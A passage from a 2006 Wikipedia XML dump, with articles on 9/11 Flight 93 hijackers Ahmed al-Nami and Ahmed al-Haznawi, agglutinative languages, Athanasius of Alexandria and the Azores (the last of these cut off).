On [[May 28]], [[2001]], al-Nami arrived in the United States from [[Dubai]] with fellow-hijackers [[Mohand al-Shehri]] and [[Hamza al-Ghamdi]]. By early June, Al-Nami was living in apartment 1504 at the ''Delray Racquet Club condominiums'' with [[Saeed al-Ghamdi]], another alleged hijacker, in [[Delray Beach, Florida]] - he [[telephone]]d his family in 'Asir shortly after arriving in the country.

He was one of 9 hijackers to open a [[SunTrust]] bank account with a cash deposit around June of 2001., and on [[June 29]]th received either a Florida State Identification Card or Drivers License.[http://www.9-11commission.gov/staff_statements/911_TerrTrav_Ch2.pdf] 

He may have been one of three hijackers that listed the Naval Air Station in [[Pensacola, Florida]] as their permanent address on drivers' licenses, though other sources claim he listed the Delray condominium.

==The Attack==
On September 5th, al-Nami and [[Saeed al-Ghamdi]] purchase tickets for a [[September 7]]th flight to [[Newark Liberty International Airport|Newark]] at the ''Mile High Travel'' on Commercial Boulevard - paying cash for their tickets.  [[Ziad Jarrah]] and [[Ahmad al-Haznawi]] also purchase tickets for the same flight though from ''Passage Tours''.

On [[September 11]], al-Nawi arrived in Newark to board [[United Airlines Flight 93]]  along with [[Saeed al-Ghamdi]], [[Ahmad al-Haznawi]] and [[Ziad Jarrah]] - some reports suggest al-Haznawi is pulled aside for screening while others claim there is no record of whether any of the four were screened; the lack of [[CCTV]] cameras at the time has compounded the problem.  al-Haznawi and one of the other three checked bags, and they boarded the plane between 7:39am and 7:48am - al-Nami seated in First Class 3C, next to al-Ghamdi.

Due to the flight's routine delay, the pilot and crew were notified of the previous hijackings and were told to be on the alert, though within two minutes Jarrah had stormed the cockpit leaving the pilots dead or injured.

At least two of the cellphone calls made by passengers indicate that all the hijackers they saw were wearing red bandanas - an oddity in Islam where the colour red is frowned upon for men to wear, but possibly signifying an allegiance to the [[Egyptian Islamic Jihad]].  The calls also indicated that one of the men had tied a box around his torso, and claimed there was a bomb inside - it is not known which hijacker this was.

Passengers on the plane heard through phone calls the fates of the other hijacked planes, and organized a brief assault to retake the cockpit - it is believed the hijackers crashed the plane into the [[Pennsylvania]] farmland rather than cede control of the plane. All aboard died.

==External links==
* [http://www.gpoaccess.gov/911/index.html The Final 9/11 Commission Report]
* [http://www.portal.telegraph.co.uk/news/main.jhtml?xml=/news/2001/09/23/widen23.xml Report that an Ahmed al-Nami is still alive]
{{Template:911hijack}}


[[Category:1977 births|Nami, Ahmed]]
[[Category:2001 deaths|Nami, Ahmed]]
[[Category:Participants in the September 11, 2001 attacks|Nami, Ahmed]]
[[Category:Saudi Arabian terrorists|Nami, Ahmed]]</text>
    </revision>
  </page>
  <page>
    <title>Ahmed al-Haznawi</title>
    <id>3222</id>
    <revision>
      <id>40602798</id>
      <timestamp>2006-02-21T19:33:41Z</timestamp>
      <contributor>
        <username>Sherurcij</username>
        <id>120909</id>
      </contributor>
      <comment>/* The Attack */</comment>
      <text xml:space="preserve">[[Image:AAlhaznawi.JPG|right|frame|2001 Visa application photo]]

'''Ahmed Ibrahim al-Haznawi''' ([[Arabic language|Arabic]]: &amp;#1575;&amp;#1581;&amp;#1605;&amp;#1583; &amp;#1575;&amp;#1576;&amp;#1585;&amp;#1575;&amp;#1607;&amp;#1610;&amp;#1605; &amp;#1575;&amp;#1604;&amp;#1581;&amp;#1586;&amp;#1606;&amp;#1575;&amp;#1608;&amp;#1610;) was named by the [[Federal Bureau of Investigation|FBI]] as one of the [[Organizers of the September 11, 2001 attacks|hijackers]] of [[United Airlines flight 93]] as part of the [[September 11, 2001 Terrorist Attack]]. 

==History==
Born October 11th 1980, Al-Haznawi was from the [[al Bahah province]] of [[Saudi Arabia]], an isolated and underdeveloped area, and shared the same tribal affiliation with fellow hijackers [[Saeed al-Ghamdi]], [[Hamza al-Ghamdi]], and [[Ahmed al-Ghamdi]]. This group is noted as being some of the more religiously observant of the hijackers. Al-Haznawi left home in [[1999]], saying he was going to fight in [[Chechnya]] against the [[Russia]]ns. It is unknown whether he ever went to Chechnya or not. His family lost contact with him in late [[2000]].

From November 27 through December 27th, al-Haznawi is in [[Saudi Arabia]] for [[Ramadan]].  It is thought that during this trip, he may have initially told [[Saeed Alghamdi|Saeed]] and [[Hamza Alghamdi]] about the operation.

Some time late in 2000, al-Haznawi traveled to the [[United Arab Emirates]], where he purchased [[traveler's cheques]] presumed to have been paid for by [[Mustafa Ahmed al-Hawsawi]].  Five other hijackers also passed through the UAE and purchased travellers cheques, including [[Majed Moqed]], [[Saeed Alghamdi]], [[Hamza Alghamdi]], [[Wail al-Shehri]] and [[Ahmed al-Nami]].

[[image:Alhaznawi_video_aljazeera.jpg|left|frame|Al-Haznawi appeared in an [[al-Qaida]] video, pledging to give his life to [[martyr]]dom.]]
Ahmed al-Haznawi appeared on a videotape from [[Al-Qaida]] that was aired on [[Al Jazeera]] on [[April 16]], [[2002]]. It is not known when the tape was made. In it, he talked about his plans to bring the &quot;bloodied message&quot; to America.

On [[June 8]], [[2001]], he arrived in [[Miami, Florida]] with fellow hijacker [[Wail al-Shehri]].  He was one of 9 hijackers to open a [[SunTrust]] bank account with a cash deposit around June of 2001, and on [[July 10]]th obtained a Florida driver's license, later obtaining another copy on [[September 7]] by filling out a change-of-address form. Five other suspected hijackers also receive duplicate Florida licenses in 2001, and others had licenses in different states. Some have speculated that this was to allow multiple persons to use the same identity.[http://www.sun-sentinel.com/news/local/southflorida/sfl-worldtrade-suspectprofiles.story]

==The Attack==
On [[September 11]], al-Haznawi boarded flight 93, and although he was selected for additional security and screened, he was able to board the flight without incident. Due to the flight's delay, the pilot and crew were notified of the previous hijackings that day and were told to be on the alert. Within minutes, Flight 93 was hijacked as well.

At least two of the cellphone calls made by passengers indicate that all the hijackers they saw were wearing red bandanas - an oddity in Islam where the colour red is frowned upon for men to wear, but possibly signifying an allegiance to the [[Egyptian Islamic Jihad]].  The calls also indicated that one of the men had tied a box around his torso, and claimed there was a bomb inside - it is not known which hijacker this was.

Passengers on the plane heard through phone calls the fates of the other hijacked planes. A passenger uprising resulted in the plane crashing into [[Pennsylvania]], killing everyone aboard.

After the attacks, al-Haznawi's brother Ahmad Ibrahim told the [[Arab News]] that the photograph being published bore no resemblance to his brother[http://web.archive.org/web/20030616131506/http://arabview.com/article.asp?artID=98]

==Trivia==
Al-Haznawi once sought treatment at Holy Cross Hospital in [[Fort Lauderdale, Florida]] for a &quot;skin [[lesion]]&quot;. Some allege that this was caused by cutaneous [[anthrax]], which would show, according to them, that those responsible for  the September 11 attacks also committed the [[2001 anthrax attacks]]. But an FBI spokesman said &quot;Exhaustive testing did not support that anthrax was present anywhere the hijackers had been,&quot; and &quot;nothing new has in fact developed.&quot;[http://www.cnn.com/2002/US/03/23/anthrax/?related][http://observer.guardian.co.uk/international/story/0,6903,673048,00.html]

==External links==
*[http://www.gpoaccess.gov/911/index.html The Final 9/11 Commission Report]
* [http://www.cnn.com/2002/WORLD/meast/04/15/terror.tape/ Bin Laden tape with Haznawi]
* [http://66.102.7.104/search?q=cache:PoGBRoW2ayAJ:www.ananova.com/news/story/sm_567316.html+&amp;hl=en/ Another link of Bin Laden tape with Haznawi]
{{Template:911hijack}}


[[Category:1980 births|Haznawi, Ahmed]]
[[Category:2001 deaths|Haznawi, Ahmed]]
[[Category:Participants in the September 11, 2001 attacks|Haznawi, Ahmed]]
[[Category:Saudi Arabian terrorists|Haznawi, Ahmed]]</text>
    </revision>
  </page>
  <page>
    <title>A. I.</title>
    <id>3223</id>
    <revision>
      <id>15901584</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Artificial intelligence]]
</text>
    </revision>
  </page>
  <page>
    <title>Agglutinative language</title>
    <id>3224</id>
    <revision>
      <id>40777848</id>
      <timestamp>2006-02-22T23:23:33Z</timestamp>
      <contributor>
        <username>Joziboy</username>
        <id>959047</id>
      </contributor>
      <minor />
      <comment>/* Examples of agglutinative languages */</comment>
      <text xml:space="preserve">{{mergefrom|Agglutination}}
{{Linguistic typology topics}}
An '''agglutinative language''' is a [[language]] in which the [[word]]s are formed by joining [[morpheme]]s together. This term was introduced by [[Wilhelm von Humboldt]] in [[1836]] to classify languages from a [[morphology (linguistics)|morphological]] point of view. It was derived from the [[Latin]] verb ''agglutinare'', which means &quot;to glue together.&quot;

An agglutinative language is a form of [[synthetic language]] where each [[affix]] typically represents one unit of meaning (such as &quot;diminutive&quot;, &quot;past tense&quot;, &quot;plural&quot;, etc.), and bound morphemes are expressed by affixes (and not by internal changes of the root of the word, or changes in stress or tone). Besides, and most importantly, in an agglutinative language affixes do not become fused with others, and do not change form conditioned by others. 

Synthetic languages which are not agglutinative are called [[fusional language]]s; they sometimes combine affixes by &quot;squeezing&quot; them together, often changing them drastically in the process, and joining several meanings in one affix (for example, in the Spanish word '''comí''' ''I ate'', the suffix -'''í''' carries the meanings of indicative [[grammatical mood|mood]], past [[grammatical tense|tense]], first person singular [[subject (grammar)|subject]] and perfect [[grammatical aspect|aspect]]).

''Agglutinative'' is sometimes used as a synonym for [[synthetic language|synthetic]], although it technically is not. When used in this way, the word embraces [[fusional language]]s and [[inflected language]]s in general. The distinction between an agglutinative and a fusional language is often not sharp. Rather, one should think of these as two ends of a continuum, with various languages falling more toward one end or the other. In fact, a synthetic language may present agglutinative features in its open lexicon but not in its case system: for example, [[German language|German]], [[Dutch language|Dutch]].

Agglutinative languages tend to have a high rate of affixes/morphemes per word, and to be very regular. For example, [[Japanese language|Japanese]] has only three irregular verbs (and not ''very'' irregular), [[Nahuatl language|Nahuatl]] only two. [[Georgian language|Georgian]] is an exception; not only is it highly agglutinative (there can be simultaneously up to 8 morphemes per word), but there are also significant number of irregular verbs, varying in degrees of irregularity.

==Examples of agglutinative languages==
Examples of agglutinative languages are the [[Altaic languages]] (see [[Turkish language|Turkish]]), [[Basque language|Basque]], the [[Dravidian languages]], the [[Uralic languages]], [[Inuktitut]], [[Swahili language|Swahili]], [[Zulu language|Zulu]], [[Malay language|Malay]], the [[Northeast Caucasian languages|Northeast]], [[Northwest Caucasian languages|Northwest]] and [[South Caucasian languages|South Caucasian]] languages, and some [[Mesoamerican languages|Mesoamerican]] and native North American languages including [[Nahuatl language|Nahuatl]], [[Huastec#Huastec language|Huastec]], and [[Salishan languages|Salish]]. In the past, most of the [[Ancient Near East]] and what is now [[Iran]] also spoke such languages, like [[Sumerian language|Sumerian]], [[Elamite language|Elamite]], [[Hurrian language|Hurrian]], [[Urartian language|Urartian]], [[Hattic language|Hattic]], [[Gutian]], [[Lullubi]], [[Punjabi]] and [[Kassites#Kassite language|Kassite]]. An example of an agglutinative [[constructed language]] is [[Klingon (language)|Klingon]].

Agglutinative languages are not entirely grouped by the family (although [[Finnish language|Finnish]] and [[Hungarian language|Hungarian]] are definitely related, as are, it is often posited, [[Japanese language|Japanese]] and [[Korean language|Korean]]). It is possible that [[convergent evolution]] had many separate languages develop this property, but there seems to exist a preferred evolutionary direction from agglutinative synthetic languages to fusional synthetic languages, and then to non-synthetic languages, which in their turn evolve again into agglutinative synthetic languages.

== See also ==
* [[Agglutination]]

==References==
{{unreferenced}}

[[Category:Agglutinative languages| ]]
[[Category:Synthetic languages]]

[[ar:لغات اشتقاقية]]
[[ast:Llingua aglutinante]]
[[br:Yezh daspegel]]
[[cs:Aglutinační jazyk]]
[[de:Agglutinierender Sprachbau]]
[[es:Lengua aglutinante]]
[[eo:Aglutina lingvo]]
[[fr:Langue agglutinante]]
[[gl:Lingua aglutinante]]
[[it:Lingua agglutinante]]
[[hu:Agglutináló nyelv]]
[[nl:Agglutinatie (taalkunde)]]
[[ja:膠着語]]
[[no:Agglutinerende språk]]
[[ru:Агглютинативные языки]]
[[zh:黏着语]]</text>
    </revision>
  </page>
  <page>
    <title>Athanasius of Alexandria</title>
    <id>3225</id>
    <revision>
      <id>41798535</id>
      <timestamp>2006-03-01T20:50:49Z</timestamp>
      <contributor>
        <username>Djordjes</username>
        <id>88876</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''Athanasius of Alexandria''' (also spelled &quot;Athanasios&quot;) ([[298]]&amp;ndash;[[May 2]], [[373]]) was a [[Christianity|Christian]] bishop, the [[Patriarch of Alexandria]], in the fourth century. He is revered as a [[saint]] by both the [[Catholicism|Roman Catholic Church]] and the [[Eastern Orthodox Church]], and regarded as a great leader and doctor of the Church by [[Protestantism|Protestants]].  Roman Catholics have declared him one of 33 [[Doctor of the Church|Doctors of the Church]]. His feast day is [[January 18]].


==Historical significance==
===Opposition to Arianism===
[[Image:Stathanasius.jpg|thumb|[[Copt|Coptic]] Icon of St Athanasius]] In about [[319]], when Athanasius was a [[deacon]], a [[presbyter]] named [[Arius]] began teaching that there was a time before [[God]] the Father begat [[Jesus]] when the latter did not exist. Athanasius accompanied [[Alexander of Alexandria|Alexander]] to the [[First Council of Nicaea]] in [[325]], which council produced the [[Nicene Creed]] and anathematized Arius and his followers. On [[May 9]], [[328]], he succeeded [[Alexander of Alexandria|Alexander]] as bishop of [[Alexandria]]. As a result of rises and falls in Arianism's influence, he was banished from Alexandria only to be later restored on at least five separate occasions, perhaps as many as seven. This gave rise to the expression &quot;Athanasius contra mundum&quot; or &quot;Athanasius against the world&quot;. During some of his exiles, he spent time with the [[Desert Father]]s, monks and hermits who lived in remote areas of Egypt. Despite his doctrinal firmness, he showed diplomatic flair in rallying the Orthodox at the Council of Alexandria in 362.

===Writings===
Possibly during his first exile at Trier in 335-7, although probably between 318 and 323, Athanasius wrote a double treatise entitled ''Against the Gentiles -- On the Incarnation'', affirming and explaining that [[Jesus]] was both God and Man. In his major theological opus, the ''Three Discourses Against the Arians'', Athanasius stressed that the Father's begetting of the Son, or uttering of the Word, was an eternal relationship between them, not an event that took place within time. He makes very sparing use of the key-word of Nicea, [[ousios|homoousios]] (consubstantial). These writings lay the foundation of catholic [[Christianity]]'s fight against the [[heresy]] of [[Arianism]], which Athanasius opposed all his life. He also wrote a defence of the divinity of the [[Holy Spirit]] (''Letters to Serapion'') in the 360s, and wrote a polemic (''On the Holy Spirit'') against the [[Macedonians (religious group)|Macedonian heresy]].

Athanasius also wrote a biography of [[Anthony the Great]] entitled ''Vita Antonii'', or ''Life of Antony'', that later served as an inspiration to Christian [[monasticism|monastics]] in both the East and the West. The [[Athanasian Creed]] is traditionally ascribed to him.

===New Testament canon===
Athanasius is also the first person to identify the same 27 books of the [[New Testament]] that are in use today.  Up until then, various similar lists of works to be read in churches were in use. A milestone in the evolution of the [[Biblical canon|canon of New Testament books]] is his Easter letter from Alexandria, written in [[367]], usually referred to as his ''39th Festal Letter''.  [[Pope Damasus]], the [[Bishop of Rome]] in [[382]], promulgated a list of books which contained a New Testament canon identical to that of Athanasius.  A synod in [[Hippone]] in [[393]] repeated Athansius' and Damasus' New Testament list (without the [[Epistle to the Hebrews]]), and a synod in [[Carthage]] in [[397]] repeated Athanasius' and Damasus' complete New Testament list.

Scholars have debated whether Athanasius' list in 367 was the basis for the later lists.  Because Athanasius' canon is the closest canon of any of the Church Fathers to the canon used by Protestant churches today many Protestants point to Athanasius as the father of the canon. They are identical except that Athanasius excludes the [[Book of Esther]] which is placed in a [[Deuterocanonical books|deuterocanon]] along with the [[Book of Wisdom|Wisdom of Solomon]], [[Ben Sira|Sirach (Ecclesiasticus)]], [[Book of Judith|Judith]], [[Book of Tobit|Tobit]], the [[Didache]], and the [[The Shepherd of Hermas|Shepherd of Hermas]]. On the other hand, Catholics tend to point to Damasus or the Council of Carthage, since these councils endorsed an Old Testament identical to that used by Catholics today.  Regardless of this question, the New Testament canon endorsed by Athanasius has been used by almost all Christians since his day.

===Relics and veneration===
[[Image:StAthanasiusShrineinStMarkCathedralCairo.jpg|thumb|St. Athanasius Shrine (where the saint's relics are preserved) under St. Mark's Cathedral, Cairo]] The saint was originally buried in Alexandria. His holy body was later transferred to Italy. H.H. [[Pope]] [[Pope Shenouda III of Alexandria|Shenouda III]] restored the relics of St. Athanasius back to Egypt on 15 May 1973 [http://www.avarewase.org/en/map/athanas.htm], after his historical visit to the Vatican and meeting with H.H. [[Pope Paul VI]]. The relics of St. Athanasius the Great of Alexandria are currently preserved under the new St. [[Mark the Evangelist|Mark]] [[Copt|Coptic]] Orthodox Cathedral in Deir El-Anba Rowais, Abbassiya, Cairo, Egypt.

The following is a [[troparion]] (hymn) to St. Athanasius sung in some Orthodox churches.
: ''O holy father Athanasius,'' 
: ''like a pillar of orthodoxy'' 
: ''you refuted the heretical nonsense of Arius''
: ''by insisting that the Father and the Son are equal in essence.''
: ''O venerable father, beg Christ our God to save our souls.''

==Criticism of Athanasius==
The tactics of Athanasius, while often downplayed by church historians, were a significant factor in his success. He did not hesitate to back up his theological views with the use of force. In Alexandria, he assembled an &quot;ecclesiastical mafia&quot; that could instigate a riot in the city if needed.  It was an arrangement &quot;built up and perpetuated by violence.&quot; (Barnes, 230). Along with the standard method of excommunication he used beatings, intimidation, kidnapping and imprisonment to silence his  theological opponents. Unsurprisingly, these tactics caused widespread distrust and led him to being tried many times for &quot;bribery, theft, extortion, [[sacrilege]], treason and murder. (Rubenstein, 6) While the charges rarely stuck, his reputation was a major factor in his multiple exiles from Alexandria.

He justified these tactics with the argument that he was saving all future Christians from hell. Athanasius stubbornly refused to compromise his theological views by stating, &quot;What is at stake is not just a theological theory but people's salvation.&quot;  (Olson, 172).  In this assertion that violence was justified in defense of theology and the church, Athanasius, some hold, laid the foundation for theological concepts such as [[just war]] and [[inquisition|the inquisition]]. He played a clear role in making [[constantinian shift]] a part of the theology of the church.

==See also==
*[[Nicene Creed]]

==External links==
* [http://www.ccel.org/fathers2/NPNF2-04/TOC.htm Background information, plus his actual writings]

==References==
* Barnes, Timothy, 1981 ''Constantine and Eusebius''
* Brakke, David, 1995. ''Athanasius and the Politics of Asceticism''
* Olson, Roger E., 1999 ''The Story of Christian Theology''
* Rubenstein, Richarde, 1999 ''When Jesus Became God: The Struggle to Define Christianity during the Last Days of Rome'' 

{{start box}}
{{succession box|
before=[[Alexander of Alexandria|Alexander]]&lt;br&gt;[[Gregory of Cappadocia]]|
title=[[List of Patriarchs of Alexandria|Patriarch of Alexandria]]|
years=[[328]]&amp;ndash;[[339]], [[346]]&amp;ndash;[[373]]|
after=[[Gregory of Cappadocia]]&lt;br&gt;[[Peter II of Alexandria|Peter II]]}}
{{end box}}


[[Category:298 births]] [[Category:373 deaths]] [[Category:Coptic Saints]] [[Category:Saints]] [[Category:Patriarchs of Alexandria]] [[Category:Theologians]] [[Category:Egyptian people|Athanasius]] [[Category:Doctors of the Church]] [[Category:Church Fathers]]

[[de:Athanasius der Große]]
[[el:Μέγας Αθανάσιος]]
[[eo:Atanazio]]
[[et:Athanasius]]
[[fi:Atanasios Suuri]]
[[fr:Athanase d'Alexandrie]]
[[hu:Nagy Szent Atanáz]]
[[it:Sant'Atanasio]]
[[ja:アタナシオス (アレクサンドリアの)]]
[[la:Athanasius Alexandrinus]]
[[nl:Athanasius]]
[[no:Athanasius av Alexandria]]
[[pl:Atanazy Wielki]]
[[pt:Atanásio de Alexandria]]
[[sk:Atanáz]]
[[sr:Свети Атанасије Велики]]
[[sv:Athanasius]]
[[zh:亚他那修]]</text>
    </revision>
  </page>
  <page>
    <title>Azores</title>
    <id>3226</id>
    <revision>
      <id>41836125</id>
      <timestamp>2006-03-02T01:33:18Z</timestamp>
      <contributor>
        <ip>131.36.116.37</ip>
      </contributor>
      <comment>/* History */</comment>
      <text xml:space="preserve">{| border=1 cellpadding=2 cellspacing=0 align=right width=300px
|+&lt;big&gt;'''Região Autónoma dos Açores'''&lt;/big&gt;&lt;br&gt;(Autonomous Region of the Azores)
|-
| style=background:#efefef; align=center colspan=2 |
{| border=0 cellpadding=2 cellspacing=0
|-
| align=&quot;center&quot; width=&quot;140px&quot; | {{border|[[Image:Flag of the Azores.svg|150px|Flag of Azores]]}}
| align=&quot;center&quot; width=&quot;140px&quot; | [[Image:Azr.png|150px|Arms of Azores]]
|-
| align=&quot;center&quot; width=&quot;140px&quot; | [[Flag of the Azores|In detail]]
| align=&quot;center&quot; width=&quot;140px&quot; | [[Coat of arms of the Azores|In detail]]
|}
|-
| align=center colspan=2 style=border-bottom:3px solid gray; | [[Image:AzoresUniversityOfTexas.jpg|250px|Shaded relief map of the Azores from 1975]]&lt;br&gt;&lt;font size=-1&gt;''Location''
|-
| align=center colspan=2 style=border-bottom:3px solid gray; | &lt;font size=-1&gt;''[[Motto]] of the autonomous region:&lt;br&gt;'''Antes morrer livres que em paz sujeitos'''''&lt;/font&gt;&lt;br&gt;&lt;small&gt;''([[Portuguese language|Portuguese]]: To die free rather than to be subjugated in peace)''&lt;/small&gt;&lt;/font&gt;
|-
| align=center colspan=2 | 
|-
| [[language|Official language]]
| [[Portuguese language|Portuguese]]
|-
| [[Capital]]s
| [[Ponta Delgada]] (Presidency of the autonomous government),&lt;br&gt;[[Angra do Heroísmo]] (Supreme Court),&lt;br&gt;[[Horta]] (Legislative Assembly)
|-
| Other [[town]]s
| [[Praia da Vitória]], [[Ribeira Grande]]
|-
| [[Area]]
| 2333 km²
|-
| [[Population]] &lt;br&gt;&amp;nbsp;- Total ([[2001]]) &lt;br&gt;&amp;nbsp;- [[Density]]
|   &lt;br&gt;241 763 hab. &lt;br&gt;104 hab./km²
|-
| Number of Town [[Council]]s
| 19
|-
| Highest point
| [[Pico mountain]], [[Pico Island]] (2351 m)
|-
| [[Presidents of the regional government of the Azores|President]]
| [[Carlos Manuel Martins do Vale César|Carlos César]]
|-
| [[Self-governance|Autonomy]]
| [[1976]]
|-
| [[Currency]]
| [[Euro]]'''¹'''
|-
| [[Time zone]]
| [[Coordinated Universal Time|UTC]] -1 (in [[Summer]] UTC)
|-
| [[Anthem]]s
| [[A Portuguesa]] (national)&lt;br&gt;[[Hino dos Açores]] (local)
|-
| [[Holiday]]
| [[Azores Day]]
|-
| colspan=2 align=center | ('''¹''') Before 1999: [[Portuguese escudo]]
|}

The '''Azores''' ([[Portuguese language|Portuguese]]: '''''Açores''''', [[Pronunciation|pron.]] [[International Phonetic Alphabet|IPA]] /{{IPA|ɐ.'so.ɾɨʃ}}/ or /{{IPA|ɐ.'so.ɾʃ}}/) are an [[archipelago]] of [[Portugal|Portuguese]] [[island]]s in the middle of the [[Atlantic Ocean]], about 1,500 km from [[Lisbon]] and about 3,900 km from the east coast of [[North America]].

The nine Azorean Islands extend for more than 600 km, and lie in a northwest-southeast direction. The vast extension of the islands defines an immense [[Exclusive Economic Zone|exclusive economic zone]] of 1.1 million km². The westernmost point of this area is 3,380 km from the North American continent. All of the islands have volcanic origins, though Santa Maria also has some reef contribution. The mountain of Pico on [[Pico Island]], at 2,351 m in altitude, is the highest in all of Portugal.  The Azores are actually the tops of some of the tallest mountains on the planet, as measured from their base at the bottom of the ocean. The islands are an [[autonomous region]] of [[Portugal]]. 

Though it is commonly said that the archipelago is named after the [[goshawk]] (''Açor'' in Portuguese), because it was supposed to be a common bird at the time of the discovery, it actually never existed on the islands. Some historians indicate the archaic Portuguese word &quot;azures&quot; (the plural of blue) because of the colour of the islands when seen from afar. Most, however, insist that the name is derived from birds, pointing to a local subspecies of the [[common buzzard|buzzard]] (''Buteo buteo''), as the animal the first explorers erroneously identified as goshawks.

== History ==
[[image:Azores old map.jpg|thumb|left|300px|Old map of Azores Islands]]
In [[1427]], one of the captains sailing for [[Henry the Navigator]] discovered the Azores, p'''ossibl'''y [[Gonçalo Velho]], but this is not certain. The [[colonization]] of the then-unoccupied islands started in [[1439]] with people mainly from the continental provinces of [[Algarve]] and [[Alentejo]]; in the following centuries settlers from other European countries arrived, most notably from Northern [[France]] and the [[Flanders]]. In [[1583]], [[Philip II of Spain]] as king of Portugal, sent his combined Iberian fleet to clear the French traders from the Azores, decisively hanging his [[prisoners-of-war]] from the yardarms and contributing to the &quot;[[Black Legend]]&quot;. The Azores were the second-to-last part of the Portuguese empire to resist Philip's reign over Portugal ([[Macau]] being the last).

The [[1820]] civil war, in Portugal, had strong repercussion in the Azores. In [[1829]], in [[Vila da Praia]], the [[liberalism|liberal]]s won over the [[Political absolutism|absolutists]], making [[Terceira Island]] the main headquarters of the new Portuguese regime and also where the Council of Regency (''Conselho de Regência'') of [[Mary II of Portugal]] was established.

Beginning in [[1868]], [[Portugal]] issued its stamps overprinted with &quot;AÇORES&quot; for use in the islands. Between [[1892]] and [[1906]], it also issued separate stamps for the three administrative districts of the time.

From [[1938]] to [[1978]], the archipelago was divided into three districts, quite equivalent (except in area) to those in the Portuguese mainland. The division was quite arbitrary, and didn’t follow the natural island groups, rather reflecting the location of each district capital on the three main cities (neither of each on the western group).

'''Angra''' consisted of Terceira, São Jorge, and Graciosa, with the capital at [[Angra do Heroísmo]] on Terceira.

'''Horta''' consisted of Pico, Faial, Flores, and Corvo, with the capital at [[Horta (Azores)|Horta]] on Faial.

'''Ponta Delgada''' consisted of São Miguel and Santa Maria, with the capital at [[Ponta Delgada]] on São Miguel.

In [[1976]] the Azores became an Autonomous Region (Região Autónoma dos Açores) and the Azorean districts were suppressed.

== Politics ==
Since becoming a Portuguese Autonomous Region, the executive section of the local authority has been located in Ponta Delgada, the legislative in Horta and the judicial in Angra do Heroísmo. The President of the Regional Government is [[Carlos César]].  The Azores is considered to have one of the most uncorrupt government bodies in the world today.

== Municipalities  ==
[[Image:Pasture fields in The Azores.jpg|thumb|Pasture fields in The Azores]]
The Azores are divided into 19 municipalities (''concelhos''); each municipality is further divided into parishes (''freguesias''). The Azores have a total of 156 parishes.

There are also 5 cities: [[Ponta Delgada]] and [[Ribeira Grande]] on São Miguel Island; [[Angra do Heroísmo]] and [[Praia da Vitória]] on Terceira, and [[Horta (Azores)|Horta]] on Faial.

Santa Maria
* [[Vila do Porto]]
São Miguel
* [[Lagoa]], [[Nordeste]], [[Ponta Delgada]], [[Povoação]], [[Ribeira Grande]] and [[Vila Franca do Campo]]
Terceira
* [[Angra do Heroísmo]] and [[Praia da Vitória|Vila da Praia da Vitória]]
Graciosa
* [[Santa Cruz da Graciosa]]
São Jorge
* [[Calheta]] and [[Velas]]
Pico [[Image:Pico.jpg|thumb|right|Pico viewed from Faial]]
* [[Lajes do Pico]], [[Madalena]] and [[São Roque do Pico]]
Faial
* [[Horta]]
Flores
* [[Lajes das Flores]] and [[Santa Cruz das Flores]]
Corvo
* [[Corvo]]

== Geography ==
{| align=right border=1 cellpadding=4 cellspacing=0 style=&quot;margin: 0 0 1em 1em; background: #ffffff; border: 1px #aaaaaa solid; border-collapse: collapse; text-align:left; font-size: 95%;&quot;
|-
! style=&quot;background:#efefef; text-align:center&quot; colspan=2 |'''Azorean Islands by Size'''
|-
! style=&quot;background:#efefef; border-bottom:2px solid gray; text-align:center&quot; | '''Island'''
! style=&quot;background:#efefef; border-bottom:2px solid gray; text-align:center&quot; | Area&lt;/br&gt;(km²)
|-
|[[São Miguel Island]]
| align=right | 759
|-
|[[Pico Island]]
| align=right | 446
|-
|[[Terceira Island]]
| align=right | 403
|-
|[[São Jorge Island]]
| align=right | 246
|-
|[[Faial Island]]
| align=right | 173
|-
|[[Flores Island, Portugal|Flores Island]]
| align=right | 143
|-
|[[Santa Maria Island]]
| align=right | 97
|-
|[[Graciosa Island]]
| align=right | 62
|-
|[[Corvo Island]]
| align=right | 17
|}
The [[archipelago]] is spread out in the area of the [[Circle of latitude|parallel]] that passes through Lisbon (39º, 43'/39º, 55' North Latitude), giving it a moderate climate, with mild annual oscillation. The Azores lie in the [[Palearctic ecozone]], forming a unique [[biome]] among the world's [[Temperate broadleaf and mixed forests]], with many [[endemic species]] of plants. The nine islands have a total area of 2,355 km². Their individual areas vary between 759 km² ([[São Miguel Island|São Miguel]]) and 17 [[square kilometre|km²]] ([[Corvo Island|Corvo]]). Three islands (São Miguel, Pico and Terceira) are bigger in size than [[Malta]] (composed of three different islands), São Miguel Island alone being twice as big.

The nine islands are divided into three groups:
* The Eastern Group (''Grupo Oriental'') of [[São Miguel Island|São Miguel]], [[Santa Maria Island|Santa Maria]] and [[Formigas Islets]]
* The Central Group (''Grupo Central'') of [[Terceira Island|Terceira]], [[Graciosa Island|Graciosa]], [[São Jorge]], [[Pico Island|Pico]] and [[Faial]]
* The Western Group (''Grupo Ocidental'') of [[Flores Island, Portugal|Flores]] and [[Corvo Island|Corvo]].

The islands were formed during the [[Tertiary]] period, in the Alpine phase. Their volcanic cones and craters reveal the volcanic origin of most islands. [[Pico Island|Pico]], a volcano that stands 2,351 metres high on the island of the same name, has the highest altitude in the Azores. The last volcano to erupt was the Capelinhos Volcano (''Vulcão dos Capelinhos'') in [[1957]], in western part of Faial island, increasing the size of that island. Santa Maria Island is the oldest Azorean island presenting several limestone and red clay extensions.

The Azores had a population of 238,767 in [[31 December]] [[2002]] and a population density of 106 persons/[[square kilometre|km²]].

==Demographics==
{| align=left border=1 cellpadding=4 cellspacing=0 style=&quot;margin: 0 0 0 0; background: #ffffff; border: 1px #aaaaaa solid; border-collapse: collapse; text-align:left; font-size: 95%;&quot;
|-
! style=&quot;background:#efefef; text-align:center&quot; colspan=4 |'''Azorean Islands by Population'''
|-
! style=&quot;background:#efefef; border-bottom:2px solid gray; text-align:center&quot; |'''Island'''
! style=&quot;background:#efefef; border-bottom:2px solid gray; text-align:center&quot; |Population&lt;br&gt;(2002)
! style=&quot;background:#efefef; border-bottom:2px solid gray; text-align:center&quot; |Main&lt;br&gt;City/Town
! style=&quot;background:#efefef; border-bottom:2px solid gray; text-align:center&quot; |Municipalities
|-
|[[São Miguel Island]]
| align=right | 130,154
| [[Ponta Delgada]]
| align=center | 6
|-
|[[Terceira Island]]
| align=right | 54,996
| [[Angra do Heroísmo]]
| align=center | 2
|-
